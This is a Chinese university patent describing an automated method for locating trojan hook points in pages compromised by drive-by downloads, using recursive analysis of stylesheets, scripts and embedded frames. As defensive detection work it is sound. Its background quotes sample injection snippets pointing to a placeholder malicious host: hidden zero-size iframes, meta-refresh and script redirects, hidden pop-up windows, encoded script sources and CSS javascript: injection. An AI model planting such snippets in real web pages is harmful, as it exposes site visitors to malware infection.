專利名稱:一種掛馬網頁中網頁木馬掛接點自動定位方法
技術領域:
本發明屬于計算機安全領域,涉及一種基于網頁內部結構解析的網頁木馬自動化 分析技術,利用網頁木馬掛接的技術特點,提出一種網頁木馬掛接點自動識別與定位的方法。
背景技術:
當前,Web瀏覽已經成了傳播惡意程序的重要途徑,網頁木馬的傳播手段已經從 以往的通過欺騙的手段誘使用戶下載安裝轉變為攻擊系統中存在的安全漏洞并自動下載 和安裝木馬程序。越來越多的瀏覽器和瀏覽器插件的漏洞被發現,像微軟的MS06-014, MS08-078, MS09-002, MS09-028 漏洞,Adobe Flash 和 Acrobat Reader 的漏洞等都是網頁 掛馬中常用的漏洞。在2008年,IE報出31個新的漏洞,各類ActiveX插件中報告出366 個漏洞,在 Pwn20wn 2009,the 3rd annual hacker contest φ, Safari,Internet Explorer 8和Firefox也都相繼出現了新的zero-day攻擊。2008年,Niels Provos等的研究報告 [參見 AllYour iFrames Point to Us, Niels Provos, Panayiotis Mavrommatis, Moheeb Rajab, FabianMonrose, 17th USENIX Security Symposium, 2008.]中表示,google 的研究 團隊已經從互聯網中檢測到3,000,000個掛馬的網頁,其搜索引擎返回的用戶查詢結果頁 面中有1. 3%的網頁為掛馬網頁。現有技術中,術語“網頁掛馬”(drive-by download)特指攻擊者篡改具有安全漏 洞的網站上的網頁,在網頁上部署惡意內容,試圖利用網頁瀏覽者主機上存在的瀏覽器及 其插件的安全漏洞,攻擊瀏覽者主機系統并自動下載和安裝木馬程序的行為。當用戶使用 瀏覽器瀏覽這些被掛馬的網頁時,如果系統中存在相應的漏洞,網頁中包含的惡意程內容 就會偷偷在用戶主機下載和安裝惡意軟件,獲取系統的控制權,進而竊取用戶的私人信息, 或將用戶主機轉變為下一步的攻擊跳板等。在網頁掛馬的過程中,可以將其中參與的元素劃分成如下的角色被掛馬網頁指遭到攻擊者惡意篡改的網頁。攻擊者可能已經獲該受害網站的控 制權,可以直接修改這些網頁的內容,也可能是通過上傳CSS文件等方式,向網頁中寫入了 惡意的攻擊內容。在篡改得逞后,攻擊者利用被掛馬網頁的流量將自己的網頁木馬傳播開 去,達到入侵網頁瀏覽者主機的目的。漏洞主要分為瀏覽器漏洞和瀏覽器插件漏洞,網馬的成功執行前提是瀏覽受害 網頁的用戶的客戶端主機上具有相應的漏洞,這樣,網頁中包含的腳本代碼才能通過與這 些漏洞交互達到入侵用戶主機的目的。攻擊腳本用于搜索客戶端瀏覽器及其插件漏洞,實施exploit攻擊用戶主機,下 載并執行木馬的腳本程序,攻擊腳本是網馬攻擊過程中的重要組成部分。為了提高攻擊的 成功率,攻擊者通常會在被掛馬網頁上部署多套攻擊腳本,來攻擊不同的系統或軟件漏洞。木馬程序木馬程序是攻擊者試圖安裝在網頁瀏覽者主機上的惡意程序,用戶瀏 覽被掛馬網頁時,頁面中掛載的攻擊腳本成功攻擊客戶端系統或瀏覽器插件等的漏洞后,會下載并執行木馬程序。通常一個完整的木馬程序會包含“服務器”端和“控制器”端兩個 部分。植入受害用戶電腦的是“服務器”部分,攻擊者則利用“控制器”進入運行了“服務器” 的電腦。受害主機上運行了木馬程序的“服務器”以后,就會有一個或幾個端口被打開,使攻 擊者可以利用這些打開的端口獲取系統控制權,進而可以任意毀壞、竊取受害用戶的文件, 甚至通過遠程操控將受害主機變成進一步的攻擊跳板。網頁木馬包含攻擊腳本的網頁,網馬頁面是攻擊腳本的載體。要運行惡意攻擊腳本,需要先將惡意腳本部署在一個HTML頁面中,才能被瀏覽器加載運行。宿主站點宿主站點指網頁木馬或攻擊腳本所存放的服務器,攻擊者擁有這些主 機的遠程控制權,這些服務器可能是攻擊者自己的服務器,也可能是被攻擊者攻陷的主機。目前網頁掛馬檢測方面的研究主要集中在判斷給定的網頁是否安全,常采用在受 控環境中動態訪問待檢測網頁的方法,或模擬執行網頁的方法來檢測一個網頁是否會會包 含惡意行為,對于包含惡意行為的網頁予以報警,阻斷用戶訪問。這種方法主要從用戶的角 度出發,防止用戶主機被感染。但網站掛馬不僅對用戶造成威脅,還會嚴重影響網站的聲譽 和網站運營者的利益,因此網站管理者需要時刻關注網站中網頁的安全性,在網站被掛馬 后,需要快速定位網頁木馬所掛的位置,消除網頁掛馬所帶來的危害。本發明提出的網頁木 馬自動識別與定位的方法,可用于對網站進行安全檢測,針對被檢測確定為掛馬的網頁,可 以快速的自動定位網頁中掛接的網頁木馬,匯總網頁中的網馬掛接點的位置信息,協助網 站管理人員快速移除網頁中的惡意內容。
發明內容
本發明的目的在于克服現有技術中存在的問題,根據網頁木馬掛接的技術特點, 提出一種網頁掛馬網頁中的木馬掛接點的自動識別與定位的方法,可用于快速定位網頁木 馬在網頁中掛接的位置,協助網站管理人員快速移除受害網頁中所包含的惡意內容。以下首先說明在網頁中掛馬的技術原理。瀏覽器在瀏覽網頁時,除了加載頁面文件本身的內容之外,還會加載頁面文件中 鏈入的外部腳本、外嵌CSS文件、frame/iframe所指向的網頁文件等。網頁中的腳本代碼, 在文件加載后,會作為網頁一部分直接運行,這些腳本文件可以與瀏覽器及其插件交互,可 以向網頁中寫入新的網頁內容,也可以打開新的網頁,或將網頁重新定向到新的URL。本發明發明人經過長期的研究,將常見的掛馬方式歸納如下1.直接插入木馬腳本的網頁掛馬方式將惡意腳本以script的方式插入到被掛 馬網頁中,這種方法容易實現,但一個惡意功能,可能需要較長的惡意腳本才能實現,而且 這些惡意腳本中常包含的shellcode指令具有明顯的特征,直接掛接在頁面中,容易被管 理員發現;此外,當攻擊者想要改用其他的攻擊手段時,逐一修改這些被掛馬網頁的內容也 很困難,因此,這種方法在實際網絡中較少被采用。2.內嵌網頁的掛馬方式攻擊者在實際掛馬過程中,為了構造和替換方便,常會 將木馬腳本插入到某個網頁,然后將這些惡意的HTML頁面保存在攻擊者已獲取控制權限 的服務器上,在需要用到的時候,以隱形的內嵌頁面的方式將該頁面插入到被掛馬網頁中, 使用這種方法,在被掛馬網頁中常見到的信息如下<iframesrc = http://www. xxx. com/ muma. html width = 0 height = 0></iframe〉。其中的 http://www. xxx. com/muma. html即為一個指向攻擊者精心構造的惡意網頁的URL。目前網絡上常見的網頁木馬生成器,主要 的做法就是根據攻擊者提供的木馬程序的地址,由生成器生成相應的包含攻擊腳本的惡意 HTML頁面,攻擊者將這些頁面上傳到某個網絡空間,再以iframe等方式掛接到被掛馬網頁 中。3.網頁重定向的掛馬方式通過向被掛馬網頁中插入網頁重定向指定,將被掛馬 網頁重定向到攻擊者預備好的惡意網頁。網頁掛馬中常用的重定向方式有設置meta標簽 的refresh屬性,修改location, href的值和調用window, navigate ()函數等方式,其使用 方法如下所示。<meta http-equiv = “ Refresh" content = 2 ;url = “ http://www.xxx.com/ muma. html“ >location, href = “ http://www.xxx.com/muma.html"navigate (“ http://www.xxx.com/muma.html")4.打開新窗口的網頁掛馬方式通過腳本命令被掛馬網頁中打開新的窗口到攻 擊者預備好的網頁。為了隱蔽,網頁掛馬時常在調用時設置這些新窗口出現的位置和大小, 將窗口彈出在用戶看不到的位置,其使用方法如下所示.open( "http://www. xxx. com/muma. html”,newwindow, height = 0,width = 0, top = 1000,left = 0,toolbar = no,menubar = no,scrollbars = no,resizable = no, location = no, status = no)5.外鏈腳本文件的網頁掛馬方式將攻擊腳本寫入script文件中,在被掛馬網頁 中插入木馬腳本的鏈接的掛馬方式。在瀏覽器加載被掛馬網頁時,這些腳本文件也會被加 載并運行。還有一種外鏈腳本文件掛馬的方式是,在外鏈Script文件中向網頁動態寫入指 向被掛馬HTML的Frame/iframe等。由于iframe掛馬的方式越來越為多數人所熟知,而 iframe在正常的網頁開發中使用的并不頻繁,特別是隱形的(大小為O的)iframe更是特 征明顯,而相對而言,一個站點中常會引入多個外鏈的腳本文件,為了達到更好的隱藏的效 果,攻擊者逐漸開始采用外鏈腳本文件動態生成Frame/iframe的方式來掛馬。為了提高網 馬的中率,攻擊者還常常會掛接多個針對不同軟件或系統漏洞的網頁木馬,即在被掛馬網 頁中掛接多個惡意的腳本文件,或在惡意腳本中寫入多個指向不同網頁木馬的iframe。攻 擊者在被掛馬文件中鏈入腳本時常會對url進行轉碼以躲避針對已知惡意網站的掃描,常 見的形式如下<script type = “ text/javascript “ language = “ JavaScript “ src ="http://fflll4. 2288. % 6Frg" ></script>而在src屬性所指向的腳本文件中的則包含了上文所述的向網頁中寫入網頁木 馬鏈接的命令document, writeln(“ <iframe src = http://www. xxx. com/muma. html width = 0 height = OX/iframe)")通過這種方式,在瀏覽器加載網頁后,腳本程序被加載運行,將惡意網頁作為內嵌 頁面寫入被掛馬網頁中;6. CSS掛馬方式CSS是層疊樣式表(Cascading Style Sheets)的英文縮寫。CSS最主要的目的是將文件的結構(用HTML或其他相關語言寫的)與文件的顯示分隔開來。IE5及其以后版本支持在CSS中使用expression,用來把CSS屬性和JavaScript腳本關聯 起來,CSS屬性后面可以是一段JavaScript表達式,屬性的值等于Javascript表達式執行 的結果,在expression中可以直接引用元素自身的屬性和方法,也可以使用其他瀏覽器對 象。此外樣式表中body的background-image屬性可引入script腳本,攻擊者常會利用這 種特性,將攻擊腳本或腳本文件插入網頁的樣式表中。CSS掛馬可采用外聯樣式表掛馬,也 可采用內部樣式表掛馬。外聯樣式表掛馬,在被掛馬網頁中常表現為<linkrel=〃 stylesheet" type=" text/ess" href =" http://www.xxx. com/muma. ess" />內聯掛馬的在網頁中的樣式常表現為<style type =“ text/ess" >body {background-image :url ( 'javascript: document, write(" <iframe src =http://www. xxx. com/muma. html width = Oheight = OX/iframe>" ))}</style>針對上述常見的掛馬方式,本發明提出一種定位掛馬網頁中的“掛馬點”的方法, 這里所述的”掛馬點”指在網頁中引入惡意行為的內容,包括直接或間接引入惡意行為的 非本站點內容,以及直接引入惡意行為的本站點內容,如在網頁中引入惡意腳本段的樣式 表、使用內嵌頁面方式引入外站惡意網頁的代碼段、引入惡意行為的腳本代碼段以及向網 頁中添加惡意網頁的腳本代碼段等。本發明方法針對掛馬網頁進行深度遞歸分析,確定網頁木馬掛接點的特征,并在 分析過程中給出掛接點在待分析網頁中的位置。具體來說,本發明方法包括a)確定待分析網頁是否掛馬通過設定的網頁木馬檢測方法檢測用戶輸入的待 分析網頁是否掛馬,并對確定掛馬的掛馬網頁進行后續處理;如果待分析網頁未被確定為 掛馬,則退出后續的分析過程;b)樣式表分析獲得掛馬網頁中的樣式表;提取樣式表中的腳本;按步驟C)的腳 本分析方法分析所述腳本是否為惡意腳本,存在惡意腳本的樣式表是網頁木馬掛接點;輸 出存在惡意腳本的樣式表在其父網頁中的位置;c)腳本分析獲得掛馬網頁中的腳本;分析所述腳本是否具有下列惡意特征中的 一種或多種調用已知漏洞的對象、包含惡意代碼、打開惡意網頁、重定向至惡意網頁、和添 加惡意網頁;若是,則所述腳本為惡意腳本,這些惡意腳本也是網頁木馬掛接點;輸出惡意 腳本在其父網頁中的位置;d)內嵌網頁分析獲得掛馬網頁中的內嵌網頁,針對其中的每一個內嵌網頁逐一分析采用步驟a)所述網頁木馬檢測方法檢測該內嵌網頁是否為掛馬網頁,若不是,則該 內嵌網頁不是掛馬網頁,退出該內嵌網頁的分析;若確定該內嵌網頁掛馬,則該內嵌網頁為 惡意網頁,則繼續按以下步驟進行分析解析掛馬的內嵌網頁的站點域名,判斷該域名與“任務站點(S卩,步驟a)所述待分 析網頁的站點域名)”是否相同,若不屬于同一個站點域名,則認為該內嵌頁面為攻擊者惡意掛入的網頁鏈接,即為一個網頁木馬掛接點,輸出其內嵌標簽在其父網頁中的位置;否則 將該內嵌網頁作為掛馬網頁重復步驟b),C),d)進行遞歸分析,該遞歸分析直到所有分析 過的內嵌網頁中都不再包括和任務站點同站點域的內嵌網頁時停止。上述樣式表包括外部樣式表和內部樣式表,外部樣式表通過下列方法獲得掃描 掛馬網頁,當遇到<link>標簽時,若其屬性滿足<rel =〃 stylesheet",type = 〃 text/ ess" >,且含有href屬性,則提取href屬性值指向的樣式表;內部樣式表通過下列方法獲 得掃描掛馬網頁,當遇到〈style〉標簽時,若其屬性滿足〈type = 〃 text/ess" >,則提取 該標簽內部的樣式表。上述樣式表中的腳本具體可通過下列方法提取掃描樣式表,若存在 "expression"字段,則提取其后最近的一對匹配的“(”與”)”之間的腳本;掃描樣式表,若 存在“url( ‘javascript:”字串,則提取在其后與之匹配的”)”之間的腳本。上述掛馬網頁中的腳本包括內部腳本和外部腳本,內部腳本通過下列方法獲得 掃描掛馬網頁中的〈script〉標簽,若該標簽不存在src屬性,則提取該標簽內部的腳本;夕卜 部腳本通過下列方法獲得掃描掛馬網頁中的〈script〉標簽,若該標簽存在src屬性,則提 取src屬性值指向的腳本。特別對于外部腳本而言,進一步對src屬性值進行解碼,若解碼后的值與原值不 同,則認定所述外部腳本為惡意腳本。和現有技術相比,本發明具有以下積極效果1.本發明根據常見的掛馬方式提出了網頁木馬掛接點的概念,并給出了一種自動 定位掛馬網頁中網頁木馬掛接點位置的方法,將網頁木馬掛接的位置細化,定位到引入惡 意行為的具體位置,通過這種方法可以有效的為網站維護者提供移除網頁木馬所需要的惡 意內容位置信息。2.本發明可以和現有的網頁檢測方法結合使用,對于被判定為掛馬的網頁,可進 一步定位其中的掛馬點,通過兩層驗證的方法有效避免對惡意腳本的誤判。此外,在進行網 頁檢測時和可疑腳本判斷時,本發明采用動靜結合的方法,可以發現殺毒引擎不能發現的 惡意內容,有效的定位惡意內容的掛接位置。
具體實施例方式下面結合具體實施案例對本發明方法作進一步說明。本實施例包括下列步驟1.檢測一個待分析網頁文件(比如HTML文件)是否掛馬a)首先使用殺毒軟件掃描該網頁文件的內容,若檢測出包含惡意內容,則可判定 該網頁是掛馬網頁;否則繼續以下步驟;b)在受控虛擬主機蜜罐(系統中包含常見的系統和瀏覽器漏洞,并安裝有常見的 含有漏洞的第三方軟件)中啟動網頁瀏覽器(比如IE)瀏覽該網頁文件,若觸發惡意行為, 則可判定該網頁是掛馬網頁。判定為掛馬網頁的網頁文件繼續進行后續步驟以進一步自動定位木馬掛接點。需要說明的是,確定網頁文件是否為掛馬網頁的方法不一而足,這部分內容不屬 于本發明方法,也不是本發明方法關注的。本發明方法只針對已經確定為掛馬的網頁,這樣的網頁也可以是他人(比如客戶)提交的疑似掛馬的網頁,或已經通過其他方法確定掛馬的網頁。2.樣式表分析a)首先對掛馬網頁內容進行規范化處理,消除其中多余的空格/空行/注釋行;b)獲取樣式表-外部樣式表掃描掛馬網頁,當遇到<link>標簽時,若其屬性滿足<rel ="stylesheet" , type = " text/ess" >,且含有href屬性,則可以確定此處引入了外 部樣式表。提取href參數的右值,即為外部樣式表的URL,根據這個URL即可通過網絡獲取 外部樣式表;-內部樣式表掃描掛馬網頁,當遇到〈style〉標簽時,若其屬性滿足〈type ="text/ess" >,則可以確定此處引入了內部樣式表,獲取該標簽內部的樣式表內容;c)提取樣式表中的腳本對于獲得的樣式表(包括外部樣式表和內部樣式表),掃描樣式表中是否包含 "expression"字段,若存在,則其后最近的一對匹配的“(”與”)”之間的內容為一個腳本;掃描樣式表中是否包含“url( ‘javascript:”字串,若存在這個字串, 則在其后與之匹配的”)”之間的內容為一個javascript腳本,例如,對于形如 "url ( ‘javascript: XXX)”的代碼,其中的“XXX”是一個腳本;d)樣式表掛馬分析對于樣式表中提取的腳本,按照下列步驟3進行分析,若經分析認定該腳本為惡 意腳本,則可認為該樣式表為一個惡意掛馬點,輸出該樣式表標簽所在的網頁鏈接,樣式表 標簽出現的位置和附近位置的上下文信息記錄。由此準確定位樣式表中的木馬掛接點。3.腳本分析a)首先對掛馬網頁內容進行規范化處理,消除其中多余的空格/空行/注釋行 (當然已經經過規范化處理則不再重復處理);b)獲取腳本-內部腳本掃描掛馬網頁中的〈script〉標簽,若該標簽不存在src屬性,則是一 個內部腳本,提取標簽內部的內容;-外部腳本若該標簽存在src屬性,則是一個外部腳本,根據src屬性的值通過 網絡即可獲取該外部腳本;此處,進一步采用url解碼算法對該src屬性的值進行解碼,若解碼后的值與原值 不同,則認為該src所指向的URL包含了轉碼,此時可直接認定該外部腳本為惡意腳本,或 采用相對緩和的應對措施,比如認定為疑似惡意腳本作進一步的分析;c)腳本掛馬分析對于上面獲得的腳本(包括內部腳本和外部腳本),作下列分析_調用已知漏洞的對象將包含已知漏洞的對象的Classid及包含漏洞的調用方 法添加到可疑對象列表中,在解析腳本內容時,若這些Classid與調用方法同時在腳本內 容中出現,則可認為該腳本包含了調用已知漏洞的對象的指令,則認定該腳本為惡意腳本, 輸出該腳本在掛馬網頁中的位置,由此確定木馬掛接點;-包含惡意代碼使用殺毒軟件掃描腳本,若其中包含惡意代碼,則認定該腳本為惡意腳本,輸出該腳本在掛馬網頁中的位置,由此確定木馬掛接點,-打開惡意網頁掃描腳本中是否存在Open指令,若發現該指令,獲取其參數內容并進行解析,其第一個參數即為要打開的網頁,采用下面步驟4所述網頁分析方法對該網 頁進行檢測,若檢測結果為掛馬網頁,則認定該腳本為惡意腳本,輸出該腳本在掛馬網頁中 的位置,由此確定木馬掛接點;-重定向至惡意網頁掃描腳本中出現的作為左值的location,href,其右值即為 網頁重定向的目標地址;掃描腳本中出現的navigate函數,其第一個參數也是網頁重定向 的目標地址。采用下面步驟4所述網頁分析方法對重定向的網頁進行檢測,若檢測結果為 掛馬網頁,則認定該腳本為惡意腳本,輸出該腳本在掛馬網頁中的位置,由此確定木馬掛接
點-添加惡意網頁掃描腳本中存在的Document, write指令或Document, writeln 指令,檢查其參數中是否包含“frame”,“iframe”等字段,若存在,解析其后面最近的src的 屬性值,則該腳本向網頁中添加了新的內嵌網頁的目標地址。采用下面步驟4所述網頁分 析方法對加入的網頁進行檢測,若檢測結果為掛馬網頁,則認定該腳本為惡意腳本,輸出該 腳本在掛馬網頁中的位置,由此確定木馬掛接點;作為綜合考慮上述多個分析方面的腳本掛馬分析方法的一個實例,具體可按下列 方式操作1)若腳本所在的網頁中僅包含一段腳本,則該腳本可疑,設置此腳本的嫌疑度為 3,否則設置為0;2)使用殺毒軟件掃描腳本,如該腳本中包含惡意代碼,則該腳本可疑,設置此腳本 的嫌疑度為5,否則設置為0;3)若腳本標簽包含src屬性,即該腳本為外部腳本,則檢查該標簽的src屬性,若 src屬性所指向的URL包含了轉碼,則該腳本可疑,設置此腳本的嫌疑度為1,否則設置為 0 ;4)若腳本包含對常用漏洞的對象的調用,則認為該網頁可疑,設置此腳本的嫌疑 度為2,否則設置為0;5)若腳本中包含打開惡意網頁/重定向至惡意網頁/添加惡意網頁等行為,則認 為該腳本可疑,設置此腳本的嫌疑度為5,否則設置為0 ;6)將以上幾步分析中腳本所得的嫌疑度相加,獲得該腳本的總嫌疑度,若該腳本 的嫌疑度大于或等于5,則認為該腳本為惡意腳本,該腳本出現的位置為一個惡意掛馬點, 輸出該腳本標簽所在的網頁鏈接,腳本標簽出現的位置和附近位置的上下文信息;若嫌疑 度介于0到5之間,則該腳本是一個可疑腳本,留待進一步分析;此外,該腳本為良性,循環 進入下一個腳本的處理。4.內嵌網頁分析a)獲取內嵌網頁1)使用meta標簽重定向指向的內嵌網頁掃描網頁中的<meta>標簽,若其 http-equiv屬性的值為"Refresh",則其url屬性的參數即為頁面將要跳轉的目標,獲取 該ur 1所指向的網頁,即為該URL通過跳轉方法內嵌的網頁;2)使用frame,iframe引入的內嵌網頁掃描網頁中的Frame/iframe標簽,若存在src屬性,則該網頁中包含一個指向src屬性值的內嵌網頁,可通過網絡根據src屬性值 獲取這些內嵌網頁。b)分析過程1)采用步驟1中的方法檢測該內嵌網頁是否為掛馬網頁,如果是,則繼續以下步 驟,否則退出該內嵌網頁的分析;2)計算上述內嵌網頁的站點域名,將其與掛馬網頁的站點域名相比,若域名不同, 則認為該內嵌網頁為攻擊者惡意掛入的網頁鏈接,是一個網頁木馬掛接點,輸出其嵌入標 簽(即將內嵌網頁嵌入掛馬網頁的標簽,如meta,frame,iframe等)在其父掛馬網頁中的 位置和上下文信息;否則按照步驟2,3,4對該網頁進行進一步的遞歸分析,直到所有的內 嵌網頁中都不再包括同站點域的內嵌網頁。如上所述,本發明在綜合分析網頁木馬的掛馬機制的基礎上,提出一種自動化的定位掛馬網頁中的惡意內容的方法。本發明發明人將本實施例方法試驗性地(不向公眾公 開)應用于北京大學網站掛馬檢測系統(http://ercis. icst. pku. edu. cn/),在面向整個 教育網的公益性掛馬監測及事件通知服務中進行實際應用,用于向受害網站的管理提供被 掛馬網頁中惡意內容所掛接的位置信息。試驗結果表明,本發明方法取得了很好的效果,實 現了本發明的目的,具有很好的實用性和推廣應用前景。
權利要求
一種掛馬網頁中網頁木馬掛接點自動定位方法,所述方法包括下列步驟a)通過設定的網頁木馬檢測方法檢測待分析網頁,確定掛馬網頁;b)獲得掛馬網頁中的樣式表;提取樣式表中的腳本;輸出存在惡意腳本的樣式表在其父網頁中的位置,所述惡意腳本具有下列惡意特征中的一種或多種調用已知漏洞的對象、包含惡意代碼、打開惡意網頁、重定向至惡意網頁、和添加惡意網頁;c)獲得掛馬網頁中的腳本;輸出惡意腳本在其父網頁中的位置,所述惡意腳本具有下列惡意特征中的一種或多種調用已知漏洞的對象、包含惡意代碼、打開惡意網頁、重定向至惡意網頁、和添加惡意網頁;d)獲得掛馬網頁中的內嵌網頁,對確定掛馬的內嵌網頁,比較其站點域名與所述掛馬網頁的站點域名是否相同,若不同則確定該內嵌網頁為惡意網頁,輸出其內嵌標簽在其父網頁中的位置;若相同則將該內嵌網頁作為掛馬網頁重復步驟b),c),d)。
2.如權利要求1所述的掛馬網頁木馬掛接點自動定位方法,其特征在于,所述樣式表 包括外部樣式表和內部樣式表;所述外部樣式表通過下列方法獲得掃描掛馬網頁,當遇到<link>標簽時,若其屬性 滿足 <rel=〃 stylesheet",type =〃 text/ess" >,且含有 href 屬性,則提取 href 屬 性值指向的樣式表;所述內部樣式表通過下列方法獲得掃描掛馬網頁,當遇到〈style〉標簽時,若其屬性 滿足〈type=" text/ess" >,則提取該標簽內部的樣式表。
3.如權利要求1所述的掛馬網頁木馬掛接點自動定位方法,其特征在于,通過下列方 法提取樣式表中的腳本掃描樣式表,若存在“expression”字段,則提取其后最近的一對匹配的“(”與”)”之 間的腳本;掃描樣式表,若存在“url( ‘javascript:”字串,則提取在其后與之匹配的”)”之間的 腳本。
4.如權利要求1所述的掛馬網頁木馬掛接點自動定位方法,其特征在于,所述掛馬網 頁中的腳本包括內部腳本和外部腳本;所述內部腳本通過下列方法獲得掃描掛馬網頁中的〈script〉標簽,若該標簽不存在 src屬性,則提取該標簽內部的腳本;所述外部腳本通過下列方法獲得掃描掛馬網頁中的〈script〉標簽,若該標簽存在 src屬性,則提取src屬性值指向的腳本。
5.如權利要求4所述的掛馬網頁木馬掛接點自動定位方法,其特征在于,若所述 〈script〉標簽存在src屬性,則對src屬性值進行解碼,若解碼后的值與原值不同,則認定 所述外部腳本為惡意腳本。
6.如權利要求1所述的掛馬網頁木馬掛接點自動定位方法,其特征在于,步驟c)通過 下列方法確定腳本是否為惡意腳本a)若腳本所在的網頁中僅包含一段腳本,則設置此腳本的嫌疑度為3,否則設置為O;b)使用殺毒軟件掃描腳本,若包含惡意代碼,則設置此腳本的嫌疑度為5,否則設置為O ;c)若腳本標簽包含src屬性,且src屬性值所指向的URL包含轉碼,則該設置此腳本的嫌疑度為1,否則設置為O ;d)若腳本包含對已知漏洞的對象的調用,則設置此腳本的嫌疑度為2,否則設置為O;e)若腳本中包含打開惡意網頁的行為,則設置此腳本的嫌疑度為5,否則設置為O;f)若腳本中包含重定向至惡意網頁的行為,則設置此腳本的嫌疑度為5,否則設置為O ;g)若腳本中包含添加惡意網頁的行為,則設置此腳本的嫌疑度為5,否則設置為O;h)將上述嫌疑度相加,獲得該腳本的總嫌疑度,若總嫌疑度大于或等于5,則認定該腳本為惡意腳本。
全文摘要
本發明公開了一種掛馬網頁中網頁木馬掛接點自動定位方法,屬于計算機安全領域。該方法包括a)確定掛馬網頁;b)獲得掛馬網頁中的樣式表;對其中的腳本按步驟c)進行腳本分析;c)獲得掛馬網頁中的腳本;輸出惡意腳本在其父網頁中的位置,惡意特征包括調用已知漏洞的對象、包含惡意代碼、打開惡意網頁、重定向至惡意網頁、和添加惡意網頁;d)獲得掛馬網頁中的內嵌網頁,對確定掛馬的內嵌網頁,比較其站點域名與掛馬網頁是否相同,若不同則輸出其內嵌標簽在其父網頁中的位置;若相同則進行遞歸分析。本發明可用于計算機安全應用,包括快速定位網頁木馬在網頁中掛接的位置,協助網站管理人員快速移除受害網頁中所包含的惡意內容。
文檔編號H04L29/06GK101820419SQ20101013188
公開日2010年9月1日 申請日期2010年3月23日 優先權日2010年3月23日
發明者梁知音, 鄒維, 韋韜, 龔曉銳 申請人:北京大學